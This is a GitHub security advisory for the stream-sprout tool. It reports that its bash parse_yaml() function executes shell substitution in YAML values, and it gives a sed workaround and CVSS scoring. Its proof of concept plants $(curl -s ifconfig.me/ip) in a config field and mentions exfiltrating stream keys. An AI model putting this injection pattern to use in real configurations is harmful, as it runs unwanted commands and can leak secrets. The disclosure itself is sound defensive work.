Skip to content

parse_yaml() is vulnerable to shell substitution code execution

Moderate
flexiondotorg published GHSA-7gmr-5mx9-7w7f Jul 26, 2024

Package

stream-sprout

Affected versions

<=0.1.4

Patched versions

>=0.1.5

Description

Impact

What kind of vulnerability is it? Who is impacted?

parse_yaml() does not sanitise input, making it possible for the YAML parser to execute shell substitution commands. For example, this yaml will execute the curl in archive_path.

server:
  ip: 127.0.0.1
  port: 1935
  app: sprout
  key: winkle
  archive_stream: true
  archive_path: $(curl -s ifconfig.me/ip)

This example is not so harmful, but an attacker could use the technique to exfiltrate stream keys or worse.

Patches

Has the problem been patched? What versions should users upgrade to?

  • Not yet.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

  • Edit parse_yaml() and add the following between the 2nd and 3rd sed
-e 's|`||g;s|\$||g;' \
  • Setting file permissions to only allow trusted users write access to the yaml configuration file may offer some mitigation.

References

Are there any links users can visit to find out more?
This issue was originally identified by Antonio Espinosa in the Stack Overflow thread which discussed a yaml parser implemented in a bash function using sed and awk.

Antonio also offered a modification to mitigate the issue:

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CVE ID

No known CVE

Weaknesses

No CWEs

Credits